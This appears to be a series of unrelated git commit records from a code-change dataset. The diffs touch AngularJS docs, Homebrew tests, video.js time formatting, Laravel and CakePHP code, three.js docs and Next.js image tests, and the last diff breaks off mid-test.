<del> $cookies.myFavorite = 'oatmeal';
<del> }
<del> </script>
<del> </file>
<del> </example>
<add> *
<add> * ```js
<add> * function ExampleController($cookies) {
<add> * // Retrieving a cookie
<add> * var favoriteCookie = $cookies.myFavorite;
<add> * // Setting a cookie
<add> * $cookies.myFavorite = 'oatmeal';
<add> * }
<add> * ```
<ide> */
<ide> factory('$cookies', ['$rootScope', '$browser', function ($rootScope, $browser) {
<ide> var cookies = {},
<ide> angular.module('ngCookies', ['ng']).
<ide> * deserialized by angular's toJson/fromJson.
<ide> *
<ide> * Requires the {@link ngCookies `ngCookies`} module to be installed.
<del> *
<del> * @example
<ide> */
<ide> factory('$cookieStore', ['$cookies', function($cookies) {
<ide>
| 1
|
Ruby
|
Ruby
|
remove unnecessary empty block
|
eec50f0a9a80098665b80c28f2684111480ea5be
|
<ide><path>Library/Homebrew/test/test_fails_with.rb
<ide> def test_fails_with_build
<ide> end
<ide>
<ide> def test_fails_with_block_without_build
<del> fails_with(:clang) { }
<add> fails_with(:clang)
<ide> cc = build_cc(:clang, 425)
<ide> assert_fails_with cc
<ide> end
| 1
|
Javascript
|
Javascript
|
provide support for inline variable hinting
|
21c70729d9269de85df3434c431c2f18995b0f7b
|
<ide><path>docs/spec/ngdocSpec.js
<ide> describe('ngdoc', function() {
<ide> toMatch('</pre>\n\n<h1 id="one">One</h1>\n\n<pre');
<ide> });
<ide>
<add> it('should replace inline variable type hints', function() {
<add> expect(new Doc().markdown('{@type string}')).
<add> toMatch(/<a\s+.*?class=".*?type-hint type-hint-string.*?".*?>/);
<add> });
<add>
<ide> it('should ignore nested doc widgets', function() {
<ide> expect(new Doc().markdown(
<ide> 'before<div class="tabbable">\n' +
<ide><path>docs/src/ngdoc.js
<ide> Doc.prototype = {
<ide> (title || url).replace(/^#/g, '').replace(/\n/g, ' ') +
<ide> (isAngular ? '</code>' : '') +
<ide> '</a>';
<add> }).
<add> replace(/{@type\s+(\S+)(?:\s+(\S+))?}/g, function(_, type, url) {
<add> url = url || '#';
<add> return '<a href="' + url + '" class="' + self.prepare_type_hint_class_name(type) + '">' + type + '</a>';
<ide> });
<ide> });
<ide> text = parts.join('');
<ide><path>src/ng/directive/ngRepeat.js
<ide> *
<ide> * Special properties are exposed on the local scope of each template instance, including:
<ide> *
<del> * * `$index` – `{number}` – iterator offset of the repeated element (0..length-1)
<del> * * `$first` – `{boolean}` – true if the repeated element is first in the iterator.
<del> * * `$middle` – `{boolean}` – true if the repeated element is between the first and last in the iterator.
<del> * * `$last` – `{boolean}` – true if the repeated element is last in the iterator.
<add> * | Variable | Type | Details |
<add> * |===========|=================|=============================================================================|
<add> * | `$index` | {@type number} | iterator offset of the repeated element (0..length-1) |
<add> * | `$first` | {@type boolean} | true if the repeated element is first in the iterator. |
<add> * | `$middle` | {@type boolean} | true if the repeated element is between the first and last in the iterator. |
<add> * | `$last` | {@type boolean} | true if the repeated element is last in the iterator. |
<ide> *
<ide> * Additionally, you can also provide animations via the ngAnimate attribute to animate the **enter**,
<ide> * **leave** and **move** effects.
| 3
|
Text
|
Text
|
use permanent image link for atom logo
|
be1c1f87190e6b48c2dd025228389658cb71ae10
|
<ide><path>README.md
<ide> # Atom — The hackable, ~~collaborative~~ editor of tomorrow!
<ide>
<del>
<add>
<ide>
<ide> Check out our [guides and API documentation](https://www.atom.io/docs/latest/).
<ide>
| 1
|
Text
|
Text
|
fix upgrade command
|
a80c404cc61344067ae319ff82f78a22b31d4dbf
|
<ide><path>docs/installation/linux/ubuntulinux.md
<ide> to start the docker daemon on boot
<ide>
<ide> To install the latest version of Docker with `apt-get`:
<ide>
<del> $ apt-get upgrade docker-engine
<add> $ sudo apt-get upgrade docker-engine
<ide>
<ide> ## Uninstallation
<ide>
| 1
|
Javascript
|
Javascript
|
use dashes to format invalid times
|
f515ac02363b490974a052a772632d521ec090a6
|
<ide><path>src/js/control-bar/time-display.js
<ide> vjs.DurationDisplay.prototype.createEl = function(){
<ide> };
<ide>
<ide> vjs.DurationDisplay.prototype.updateContent = function(){
<del> if (this.player_.duration()) {
<del> this.content.innerHTML = '<span class="vjs-control-text">Duration Time </span>' + vjs.formatTime(this.player_.duration()); // label the duration time for screen reader users
<add> var duration = this.player_.duration();
<add> if (duration) {
<add> this.content.innerHTML = '<span class="vjs-control-text">Duration Time </span>' + vjs.formatTime(duration); // label the duration time for screen reader users
<ide> }
<ide> };
<ide>
<ide> vjs.RemainingTimeDisplay.prototype.createEl = function(){
<ide>
<ide> vjs.RemainingTimeDisplay.prototype.updateContent = function(){
<ide> if (this.player_.duration()) {
<del> if (this.player_.duration()) {
<del> this.content.innerHTML = '<span class="vjs-control-text">Remaining Time </span>' + '-'+ vjs.formatTime(this.player_.remainingTime());
<del> }
<add> this.content.innerHTML = '<span class="vjs-control-text">Remaining Time </span>' + '-'+ vjs.formatTime(this.player_.remainingTime());
<ide> }
<ide>
<ide> // Allows for smooth scrubbing, when player can't keep up.
<ide> // var time = (this.player_.scrubbing) ? this.player_.getCache().currentTime : this.player_.currentTime();
<ide> // this.content.innerHTML = vjs.formatTime(time, this.player_.duration());
<del>};
<ide>\ No newline at end of file
<add>};
<ide><path>src/js/lib.js
<ide> vjs.el = function(id){
<ide> * @return {String} Time formatted as H:MM:SS or M:SS
<ide> */
<ide> vjs.formatTime = function(seconds, guide) {
<del> guide = guide || seconds; // Default to using seconds as guide
<add> // Default to using seconds as guide
<add> guide = guide || seconds;
<ide> var s = Math.floor(seconds % 60),
<ide> m = Math.floor(seconds / 60 % 60),
<ide> h = Math.floor(seconds / 3600),
<ide> gm = Math.floor(guide / 60 % 60),
<ide> gh = Math.floor(guide / 3600);
<ide>
<add> // handle invalid times
<add> if (window['isNaN'](seconds) || seconds === Infinity) {
<add> // '-' is false for all relational operators (e.g. <, >=) so this setting
<add> // will add the minimum number of fields specified by the guide
<add> h = m = s = '-';
<add> }
<add>
<ide> // Check if we need to show hours
<ide> h = (h > 0 || gh > 0) ? h + ':' : '';
<ide>
<ide><path>test/unit/lib.js
<ide> test('should format time as a string', function(){
<ide> ok(vjs.formatTime(1,360000) === '0:00:01');
<ide> });
<ide>
<add>test('should format invalid times as dashes', function(){
<add> equal(vjs.formatTime(Infinity, 90), '-:-');
<add> equal(vjs.formatTime(NaN), '-:-');
<add> equal(vjs.formatTime(10, Infinity), '0:00:10');
<add> equal(vjs.formatTime(90, NaN), '1:30');
<add>});
<add>
<ide> test('should create a fake timerange', function(){
<ide> var tr = vjs.createTimeRange(0, 10);
<ide> ok(tr.start() === 0);
| 3
|
PHP
|
PHP
|
remove space before object operator
|
ee4be044fa50efc76690eeb1881f01dfa001c2bb
|
<ide><path>src/ORM/Behavior/TreeBehavior.php
<ide> protected function _sync($shift, $dir, $conditions, $mark = false)
<ide> $exp = $query->newExpr();
<ide>
<ide> $movement = clone $exp;
<del> $movement ->add($field)->add("$shift")->tieWith($dir);
<add> $movement->add($field)->add("$shift")->tieWith($dir);
<ide>
<ide> $inverse = clone $exp;
<ide> $movement = $mark ?
| 1
|
PHP
|
PHP
|
use signature format for migrate make command
|
dbc14072407800b5d3a3ccbc427f721293f9dd10
|
<ide><path>src/Illuminate/Database/Console/Migrations/MigrateMakeCommand.php
<ide> namespace Illuminate\Database\Console\Migrations;
<ide>
<ide> use Illuminate\Foundation\Composer;
<del>use Symfony\Component\Console\Input\InputOption;
<del>use Symfony\Component\Console\Input\InputArgument;
<ide> use Illuminate\Database\Migrations\MigrationCreator;
<ide>
<ide> class MigrateMakeCommand extends BaseCommand
<ide> {
<ide> /**
<del> * The console command name.
<add> * The console command signature.
<ide> *
<ide> * @var string
<ide> */
<del> protected $name = 'make:migration';
<add> protected $signature = 'make:migration {name : The name of the migration.}
<add> {--create= : The table to be created.}
<add> {--table= : The table to migrate.}
<add> {--path= : The path to create the migration file in.}';
<ide>
<ide> /**
<ide> * The console command description.
<ide> protected function getMigrationPath()
<ide> return parent::getMigrationPath();
<ide> }
<ide>
<del> /**
<del> * Get the console command arguments.
<del> *
<del> * @return array
<del> */
<del> protected function getArguments()
<del> {
<del> return [
<del> ['name', InputArgument::REQUIRED, 'The name of the migration'],
<del> ];
<del> }
<del>
<del> /**
<del> * Get the console command options.
<del> *
<del> * @return array
<del> */
<del> protected function getOptions()
<del> {
<del> return [
<del> ['create', null, InputOption::VALUE_OPTIONAL, 'The table to be created.'],
<del>
<del> ['table', null, InputOption::VALUE_OPTIONAL, 'The table to migrate.'],
<del>
<del> ['path', null, InputOption::VALUE_OPTIONAL, 'The path to create the migration file in.'],
<del> ];
<del> }
<ide> }
| 1
|
Text
|
Text
|
add link to w&b to see whole training logs
|
a0eebdc404b6f84f75719fe6091e18831a974674
|
<ide><path>model_cards/mrm8488/gpt2-imdb-neg/README.md
<ide> A few examples of the model response to a query before and after optimisation:
<ide> |I have watched 3 episodes |with this guy and he is such a talented actor...| but the show is just plain awful and there ne...| 2.681171| -4.512792|
<ide> |We know that firefighters and| police officers are forced to become populari...| other chains have going to get this disaster ...| 1.367811| -3.34017|
<ide>
<add>## Training logs and metrics <img src="https://gblobscdn.gitbook.com/spaces%2F-Lqya5RvLedGEWPhtkjU%2Favatar.png?alt=media" width="25" height="25">
<add>Watch the whole training logs and metrics on [W&B](https://app.wandb.ai/mrm8488/gpt2-sentiment-negative?workspace=user-mrm8488)
<add>
<ide>
<ide>
<ide> > Created by [Manuel Romero/@mrm8488](https://twitter.com/mrm8488)
| 1
|
Text
|
Text
|
drop the curl notes. unnecessary
|
15ad94c6111735044dd6a38a9b48d23a22b8b18f
|
<ide><path>docs/api-guide/parsers.md
<ide> If you don't set the content type, most clients will default to using `'applicat
<ide>
<ide> As an example, if you are sending `json` encoded data using jQuery with the [.ajax() method][jquery-ajax], you should make sure to include the `contentType: 'application/json'` setting.
<ide>
<del>If you're working with the API using the command line tool `curl`, you can use the `-H` flag to include a `ContentType` header. For example, to set the content type to `json` use `-H 'content-type: application/json'`.
<del>
<ide> ---
<ide>
<ide> ## Setting the parsers
| 1
|
Javascript
|
Javascript
|
remove stray console.log
|
2a9a5e2318821ed24c4c3b44d1949e0cb3ef53f9
|
<ide><path>lib/domain.js
<ide> Domain.prototype.bind = function(cb, interceptError) {
<ide> };
<ide>
<ide> Domain.prototype.dispose = function() {
<del> console.error('dispose', this, exports.active, process.domain)
<del>
<ide> if (this._disposed) return;
<ide>
<ide> // if we're the active domain, then get out now.
| 1
|
Go
|
Go
|
fix typo in error message
|
4ace1811b4a0c0a48f1aeeba996b8096a3a4bb2d
|
<ide><path>cmd/dockerd/service_windows.go
<ide> func (h *handler) Execute(_ []string, r <-chan svc.ChangeRequest, s chan<- svc.S
<ide> // Wait for initialization to complete.
<ide> failed := <-h.tosvc
<ide> if failed {
<del> logrus.Debug("Aborting service start due to failure during initializtion")
<add> logrus.Debug("Aborting service start due to failure during initialization")
<ide> return true, 1
<ide> }
<ide>
| 1
|
Text
|
Text
|
improve documentation on runtime configuration
|
d51245b877598d1cc4e83f002dc2c3a976111cce
|
<ide><path>readme.md
<ide> Next.js is a minimalistic framework for server-rendered React applications.
<ide> - [Configuring the build ID](#configuring-the-build-id)
<ide> - [Customizing webpack config](#customizing-webpack-config)
<ide> - [Customizing babel config](#customizing-babel-config)
<del> - [Exposing configuration to the server / client side](#exposing-configuration-to-the-server--client-side)
<add> - [Exposing configuration to the server / client side](#exposing-configuration-to-the-server--client-side)
<ide> - [CDN support with Asset Prefix](#cdn-support-with-asset-prefix)
<ide> - [Production deployment](#production-deployment)
<ide> - [Static HTML export](#static-html-export)
<ide> These presets / plugins **should not** be added to your custom `.babelrc`. Inste
<ide>
<ide> The `modules` option on `"preset-env"` should be kept to `false` otherwise webpack code splitting is disabled.
<ide>
<del>#### Exposing configuration to the server / client side
<add>### Exposing configuration to the server / client side
<ide>
<del>The `config` key allows for exposing runtime configuration in your app. All keys are server only by default. To expose a configuration to both the server and client side you can use the `public` key.
<add>The `next/config` module gives your app access to runtime configuration stored in your `next.config.js`. Place any server-only runtime config under a `serverRuntimeConfig` property and anything accessible to both client and server-side code under `publicRuntimeConfig`.
<ide>
<ide> ```js
<ide> // next.config.js
| 1
|
Javascript
|
Javascript
|
docs list.js code style whitespace
|
f0cace5c2c9d7a22cec30a50ee61125e1de5f551
|
<ide><path>docs/list.js
<ide> var list = {
<add>
<ide> "Manual": {
<add>
<ide> "Getting Started": {
<ide> "Creating a scene": "manual/introduction/Creating-a-scene",
<ide> "Detecting WebGL and browser compatibility": "manual/introduction/Detecting-WebGL-and-browser-compatibility",
<ide> var list = {
<ide> "FAQ": "manual/introduction/FAQ",
<ide> "Useful links": "manual/introduction/Useful-links"
<ide> },
<add>
<ide> "Next Steps": {
<ide> "How to update things": "manual/introduction/How-to-update-things",
<ide> "Matrix transformations": "manual/introduction/Matrix-transformations",
<ide> "Animation System": "manual/introduction/Animation-system"
<ide> },
<add>
<ide> "Build Tools": {
<ide> "Testing with NPM": "manual/buildTools/Testing-with-NPM"
<ide> }
<add>
<ide> },
<add>
<ide> "Reference": {
<add>
<ide> "Animation": {
<ide> "AnimationAction": "api/animation/AnimationAction",
<ide> "AnimationClip": "api/animation/AnimationClip",
<ide> var list = {
<ide> "PropertyBinding": "api/animation/PropertyBinding",
<ide> "PropertyMixer": "api/animation/PropertyMixer"
<ide> },
<add>
<ide> "Animation / Tracks": {
<ide> "BooleanKeyframeTrack": "api/animation/tracks/BooleanKeyframeTrack",
<ide> "ColorKeyframeTrack": "api/animation/tracks/ColorKeyframeTrack",
<ide> var list = {
<ide> "StringKeyframeTrack": "api/animation/tracks/StringKeyframeTrack",
<ide> "VectorKeyframeTrack": "api/animation/tracks/VectorKeyframeTrack"
<ide> },
<add>
<ide> "Audio": {
<ide> "Audio": "api/audio/Audio",
<ide> "AudioAnalyser": "api/audio/AudioAnalyser",
<ide> "AudioContext": "api/audio/AudioContext",
<ide> "AudioListener": "api/audio/AudioListener",
<ide> "PositionalAudio": "api/audio/PositionalAudio"
<ide> },
<add>
<ide> "Cameras": {
<ide> "Camera": "api/cameras/Camera",
<ide> "CubeCamera": "api/cameras/CubeCamera",
<ide> "OrthographicCamera": "api/cameras/OrthographicCamera",
<ide> "PerspectiveCamera": "api/cameras/PerspectiveCamera",
<ide> "StereoCamera": "api/cameras/StereoCamera"
<ide> },
<add>
<ide> "Constants": {
<ide> "Animation": "api/constants/Animation",
<ide> "Core": "api/constants/Core",
<ide> var list = {
<ide> "Renderer": "api/constants/Renderer",
<ide> "Textures": "api/constants/Textures"
<ide> },
<add>
<ide> "Core": {
<ide> "BufferAttribute": "api/core/BufferAttribute",
<ide> "BufferGeometry": "api/core/BufferGeometry",
<ide> var list = {
<ide> "Raycaster": "api/core/Raycaster",
<ide> "Uniform": "api/core/Uniform"
<ide> },
<add>
<ide> "Core / BufferAttributes": {
<ide> "BufferAttribute Types": "api/core/bufferAttributeTypes/BufferAttributeTypes"
<ide> },
<add>
<ide> "Deprecated": {
<ide> "DeprecatedList": "api/deprecated/DeprecatedList"
<ide> },
<add>
<ide> "Extras": {
<ide> "CurveUtils": "api/extras/CurveUtils",
<ide> "SceneUtils": "api/extras/SceneUtils",
<ide> "ShapeUtils": "api/extras/ShapeUtils"
<ide> },
<add>
<ide> "Extras / Core": {
<ide> "Curve": "api/extras/core/Curve",
<ide> "CurvePath": "api/extras/core/CurvePath",
<ide> var list = {
<ide> "Shape": "api/extras/core/Shape",
<ide> "ShapePath": "api/extras/core/ShapePath"
<ide> },
<add>
<ide> "Extras / Curves": {
<ide> "ArcCurve": "api/extras/curves/ArcCurve",
<ide> "CatmullRomCurve3": "api/extras/curves/CatmullRomCurve3",
<ide> var list = {
<ide> "QuadraticBezierCurve3": "api/extras/curves/QuadraticBezierCurve3",
<ide> "SplineCurve": "api/extras/curves/SplineCurve"
<ide> },
<add>
<ide> "Extras / Objects": {
<ide> "ImmediateRenderObject": "api/extras/objects/ImmediateRenderObject",
<ide> "MorphBlendMesh": "api/extras/objects/MorphBlendMesh"
<ide> },
<add>
<ide> "Geometries": {
<ide> "BoxBufferGeometry": "api/geometries/BoxBufferGeometry",
<ide> "BoxGeometry": "api/geometries/BoxGeometry",
<ide> var list = {
<ide> "TubeBufferGeometry": "api/geometries/TubeBufferGeometry",
<ide> "WireframeGeometry": "api/geometries/WireframeGeometry"
<ide> },
<add>
<ide> "Helpers": {
<ide> "ArrowHelper": "api/helpers/ArrowHelper",
<ide> "AxisHelper": "api/helpers/AxisHelper",
<ide> var list = {
<ide> "SpotLightHelper": "api/helpers/SpotLightHelper",
<ide> "VertexNormalsHelper": "api/helpers/VertexNormalsHelper"
<ide> },
<add>
<ide> "Lights": {
<ide> "AmbientLight": "api/lights/AmbientLight",
<ide> "DirectionalLight": "api/lights/DirectionalLight",
<ide> var list = {
<ide> "RectAreaLight": "api/lights/RectAreaLight",
<ide> "SpotLight": "api/lights/SpotLight"
<ide> },
<add>
<ide> "Lights / Shadows": {
<ide> "DirectionalLightShadow": "api/lights/shadows/DirectionalLightShadow",
<ide> "LightShadow": "api/lights/shadows/LightShadow",
<ide> "RectAreaLightShadow": "api/lights/shadows/RectAreaLightShadow",
<ide> "SpotLightShadow": "api/lights/shadows/SpotLightShadow"
<ide> },
<add>
<ide> "Loaders": {
<ide> "AnimationLoader": "api/loaders/AnimationLoader",
<ide> "AudioLoader": "api/loaders/AudioLoader",
<ide> var list = {
<ide> "ObjectLoader": "api/loaders/ObjectLoader",
<ide> "TextureLoader": "api/loaders/TextureLoader"
<ide> },
<add>
<ide> "Loaders / Managers": {
<ide> "DefaultLoadingManager": "api/loaders/managers/DefaultLoadingManager",
<ide> "LoadingManager": "api/loaders/managers/LoadingManager"
<ide> },
<add>
<ide> "Materials": {
<ide> "LineBasicMaterial": "api/materials/LineBasicMaterial",
<ide> "LineDashedMaterial": "api/materials/LineDashedMaterial",
<ide> var list = {
<ide> "ShadowMaterial": "api/materials/ShadowMaterial",
<ide> "SpriteMaterial": "api/materials/SpriteMaterial"
<ide> },
<add>
<ide> "Math": {
<ide> "Box2": "api/math/Box2",
<ide> "Box3": "api/math/Box3",
<ide> var list = {
<ide> "Vector3": "api/math/Vector3",
<ide> "Vector4": "api/math/Vector4"
<ide> },
<add>
<ide> "Math / Interpolants": {
<ide> "CubicInterpolant": "api/math/interpolants/CubicInterpolant",
<ide> "DiscreteInterpolant": "api/math/interpolants/DiscreteInterpolant",
<ide> "LinearInterpolant": "api/math/interpolants/LinearInterpolant",
<ide> "QuaternionLinearInterpolant": "api/math/interpolants/QuaternionLinearInterpolant"
<ide> },
<add>
<ide> "Objects": {
<ide> "Bone": "api/objects/Bone",
<ide> "Group": "api/objects/Group",
<ide> var list = {
<ide> "SkinnedMesh": "api/objects/SkinnedMesh",
<ide> "Sprite": "api/objects/Sprite"
<ide> },
<add>
<ide> "Renderers": {
<ide> "WebGLRenderer": "api/renderers/WebGLRenderer",
<ide> "WebGLRenderTarget": "api/renderers/WebGLRenderTarget",
<ide> "WebGLRenderTargetCube": "api/renderers/WebGLRenderTargetCube"
<ide> },
<add>
<ide> "Renderers / Shaders": {
<ide> "ShaderChunk": "api/renderers/shaders/ShaderChunk",
<ide> "ShaderLib": "api/renderers/shaders/ShaderLib",
<ide> "UniformsLib": "api/renderers/shaders/UniformsLib",
<ide> "UniformsUtils": "api/renderers/shaders/UniformsUtils"
<ide> },
<add>
<ide> "Scenes": {
<ide> "Fog": "api/scenes/Fog",
<ide> "FogExp2": "api/scenes/FogExp2",
<ide> "Scene": "api/scenes/Scene"
<ide> },
<add>
<ide> "Textures": {
<ide> "CanvasTexture": "api/textures/CanvasTexture",
<ide> "CompressedTexture": "api/textures/CompressedTexture",
<ide> var list = {
<ide> "Texture": "api/textures/Texture",
<ide> "VideoTexture": "api/textures/VideoTexture"
<ide> }
<add>
<ide> },
<add>
<ide> "Examples": {
<add>
<ide> "Collada Animation": {
<ide> "ColladaAnimation": "examples/collada/Animation",
<ide> "AnimationHandler": "examples/collada/AnimationHandler",
<ide> "KeyFrameAnimation": "examples/collada/KeyFrameAnimation"
<ide> },
<add>
<ide> "Geometries": {
<ide> "ConvexBufferGeometry": "examples/geometries/ConvexBufferGeometry",
<ide> "ConvexGeometry": "examples/geometries/ConvexGeometry"
<ide> },
<add>
<ide> "Loaders": {
<ide> "BabylonLoader": "examples/loaders/BabylonLoader",
<ide> "ColladaLoader": "examples/loaders/ColladaLoader",
<ide> var list = {
<ide> "SVGLoader": "examples/loaders/SVGLoader",
<ide> "TGALoader": "examples/loaders/TGALoader"
<ide> },
<add>
<ide> "Plugins": {
<ide> "CombinedCamera": "examples/cameras/CombinedCamera",
<ide> "LookupTable": "examples/Lut",
<ide> "SpriteCanvasMaterial": "examples/SpriteCanvasMaterial"
<ide> },
<add>
<ide> "QuickHull": {
<ide> "Face": "examples/quickhull/Face",
<ide> "HalfEdge": "examples/quickhull/HalfEdge",
<ide> "QuickHull": "examples/quickhull/QuickHull",
<ide> "VertexNode": "examples/quickhull/VertexNode",
<ide> "VertexList": "examples/quickhull/VertexList"
<ide> },
<add>
<ide> "Renderers": {
<ide> "CanvasRenderer": "examples/renderers/CanvasRenderer"
<ide> }
<add>
<ide> },
<add>
<ide> "Developer Reference": {
<add>
<ide> "Polyfills": {
<ide> "Polyfills": "api/Polyfills"
<ide> },
<add>
<ide> "WebGLRenderer": {
<ide> "WebGLProgram": "api/renderers/webgl/WebGLProgram",
<ide> "WebGLShader": "api/renderers/webgl/WebGLShader",
<ide> "WebGLState": "api/renderers/webgl/WebGLState"
<ide> },
<add>
<ide> "WebGLRenderer / Plugins": {
<ide> "LensFlarePlugin": "api/renderers/webgl/plugins/LensFlarePlugin",
<ide> "SpritePlugin": "api/renderers/webgl/plugins/SpritePlugin"
<ide> }
<add>
<ide> }
<del>}
<ide>\ No newline at end of file
<add>
<add>}
| 1
|
Javascript
|
Javascript
|
move some img tests out of serverless mode
|
b0d36efb7460ef7cd43ef5f576cfe540fc6a173a
|
<ide><path>test/integration/image-component/default/test/index.test.js
<ide> function runTests(mode) {
<ide> }
<ide> })
<ide> }
<add>
<add> it('should have blurry placeholder when enabled', async () => {
<add> const html = await renderViaHTTP(appPort, '/blurry-placeholder')
<add> const $html = cheerio.load(html)
<add>
<add> $html('noscript > img').attr('id', 'unused')
<add>
<add> expect($html('#blurry-placeholder')[0].attribs.style).toContain(
<add> `background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='400' height='400' viewBox='0 0 400 400'%3E%3Cfilter id='blur' filterUnits='userSpaceOnUse' color-interpolation-filters='sRGB'%3E%3CfeGaussianBlur stdDeviation='20' edgeMode='duplicate' /%3E%3CfeComponentTransfer%3E%3CfeFuncA type='discrete' tableValues='1 1' /%3E%3C/feComponentTransfer%3E%3C/filter%3E%3Cimage filter='url(%23blur)' href='data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMDAwMDAwQEBAQFBQUFBQcHBgYHBwsICQgJCAsRCwwLCwwLEQ8SDw4PEg8bFRMTFRsfGhkaHyYiIiYwLTA+PlT/wAALCAAKAAoBAREA/8QAMwABAQEAAAAAAAAAAAAAAAAAAAcJEAABAwUAAwAAAAAAAAAAAAAFAAYRAQMEEyEVMlH/2gAIAQEAAD8Az1bLPaxhiuk0QdeCOLDtHixN2dmd2bsc5FPX7VTREX//2Q==' x='0' y='0' height='100%25' width='100%25'/%3E%3C/svg%3E")`
<add> )
<add>
<add> expect($html('#blurry-placeholder')[0].attribs.style).toContain(
<add> `background-position:0% 0%`
<add> )
<add>
<add> expect(
<add> $html('#blurry-placeholder-tall-centered')[0].attribs.style
<add> ).toContain(`background-position:center`)
<add>
<add> expect($html('#blurry-placeholder-with-lazy')[0].attribs.style).toContain(
<add> `background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='400' height='400' viewBox='0 0 400 400'%3E%3Cfilter id='blur' filterUnits='userSpaceOnUse' color-interpolation-filters='sRGB'%3E%3CfeGaussianBlur stdDeviation='20' edgeMode='duplicate' /%3E%3CfeComponentTransfer%3E%3CfeFuncA type='discrete' tableValues='1 1' /%3E%3C/feComponentTransfer%3E%3C/filter%3E%3Cimage filter='url(%23blur)' href='data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMDAwMDAwQEBAQFBQUFBQcHBgYHBwsICQgJCAsRCwwLCwwLEQ8SDw4PEg8bFRMTFRsfGhkaHyYiIiYwLTA+PlT/wAALCAAKAAoBAREA/8QAMwABAQEAAAAAAAAAAAAAAAAAAAcJEAABAwUAAwAAAAAAAAAAAAAFAAYRAQMEEyEVMlH/2gAIAQEAAD8Az1bLPaxhiuk0QdeCOLDtHixN2dmd2bsc5FPX7VTREX//2Q==' x='0' y='0' height='100%25' width='100%25'/%3E%3C/svg%3E")`
<add> )
<add> })
<add>
<add> it('should not use blurry placeholder for <noscript> image', async () => {
<add> const html = await renderViaHTTP(appPort, '/blurry-placeholder')
<add> const $html = cheerio.load(html)
<add> const style = $html('noscript > img')[0].attribs.style
<add>
<add> expect(style).not.toContain(`background-position`)
<add> expect(style).not.toContain(`background-size`)
<add> expect(style).not.toContain(
<add> `background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='400' height='400' viewBox='0 0 400 400'%3E%3Cfilter id='blur' filterUnits='userSpaceOnUse' color-interpolation-filters='sRGB'%3E%3CfeGaussianBlur stdDeviation='20' edgeMode='duplicate' /%3E%3CfeComponentTransfer%3E%3CfeFuncA type='discrete' tableValues='1 1' /%3E%3C/feComponentTransfer%3E%3C/filter%3E%3Cimage filter='url(%23blur)' href='data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMDAwMDAwQEBAQFBQUFBQcHBgYHBwsICQgJCAsRCwwLCwwLEQ8SDw4PEg8bFRMTFRsfGhkaHyYiIiYwLTA+PlT/wAALCAAKAAoBAREA/8QAMwABAQEAAAAAAAAAAAAAAAAAAAcJEAABAwUAAwAAAAAAAAAAAAAFAAYRAQMEEyEVMlH/2gAIAQEAAD8Az1bLPaxhiuk0QdeCOLDtHixN2dmd2bsc5FPX7VTREX//2Q==' x='0' y='0' height='100%25' width='100%25'/%3E%3C/svg%3E")`
<add> )
<add> })
<add>
<add> it('should remove blurry placeholder after image loads', async () => {
<add> let browser
<add> try {
<add> browser = await webdriver(appPort, '/blurry-placeholder')
<add> await check(
<add> async () =>
<add> await getComputedStyle(
<add> browser,
<add> 'blurry-placeholder',
<add> 'background-image'
<add> ),
<add> 'none'
<add> )
<add> expect(
<add> await getComputedStyle(
<add> browser,
<add> 'blurry-placeholder-with-lazy',
<add> 'background-image'
<add> )
<add> ).toBe(
<add> `url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='400' height='400' viewBox='0 0 400 400'%3E%3Cfilter id='blur' filterUnits='userSpaceOnUse' color-interpolation-filters='sRGB'%3E%3CfeGaussianBlur stdDeviation='20' edgeMode='duplicate' /%3E%3CfeComponentTransfer%3E%3CfeFuncA type='discrete' tableValues='1 1' /%3E%3C/feComponentTransfer%3E%3C/filter%3E%3Cimage filter='url(%23blur)' href='data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMDAwMDAwQEBAQFBQUFBQcHBgYHBwsICQgJCAsRCwwLCwwLEQ8SDw4PEg8bFRMTFRsfGhkaHyYiIiYwLTA+PlT/wAALCAAKAAoBAREA/8QAMwABAQEAAAAAAAAAAAAAAAAAAAcJEAABAwUAAwAAAAAAAAAAAAAFAAYRAQMEEyEVMlH/2gAIAQEAAD8Az1bLPaxhiuk0QdeCOLDtHixN2dmd2bsc5FPX7VTREX//2Q==' x='0' y='0' height='100%25' width='100%25'/%3E%3C/svg%3E")`
<add> )
<add>
<add> await browser.eval('document.getElementById("spacer").remove()')
<add>
<add> await check(
<add> async () =>
<add> await getComputedStyle(
<add> browser,
<add> 'blurry-placeholder-with-lazy',
<add> 'background-image'
<add> ),
<add> 'none'
<add> )
<add> } finally {
<add> if (browser) {
<add> await browser.close()
<add> }
<add> }
<add> })
<ide> }
<ide>
<ide> describe('Image Component Tests', () => {
<ide> describe('Image Component Tests', () => {
<ide> await killApp(app)
<ide> })
<ide>
<del> it('should have blurry placeholder when enabled', async () => {
<del> const html = await renderViaHTTP(appPort, '/blurry-placeholder')
<del> const $html = cheerio.load(html)
<del>
<del> $html('noscript > img').attr('id', 'unused')
<del>
<del> expect($html('#blurry-placeholder')[0].attribs.style).toContain(
<del> `background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='400' height='400' viewBox='0 0 400 400'%3E%3Cfilter id='blur' filterUnits='userSpaceOnUse' color-interpolation-filters='sRGB'%3E%3CfeGaussianBlur stdDeviation='20' edgeMode='duplicate' /%3E%3CfeComponentTransfer%3E%3CfeFuncA type='discrete' tableValues='1 1' /%3E%3C/feComponentTransfer%3E%3C/filter%3E%3Cimage filter='url(%23blur)' href='data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAMDAwMDAwQEBAQFBQUFBQcHBgYHBwsICQgJCAsRCwwLCwwLEQ8SDw4PEg8bFRMTFRsfGhkaHyYiIiYwLTA+PlT/wAALCAAKAAoBAREA/8QAMwABAQEAAAAAAAAAAAAAAAAAAAcJEAABAwUAAwAAAAAAAAAAAAAFAAYRAQMEEyEVMlH/2gAIAQEAAD8Az1bLPaxhiuk0QdeCOLDtHixN2dmd2bsc5FPX7VTREX//2Q==' x='0' y='0' height='100%25' width='100%25'/%3E%3C/svg%3E")`
<del> )
<del>
<del> expect($html('#blurry-placeholder')[0].attribs.style).toContain(
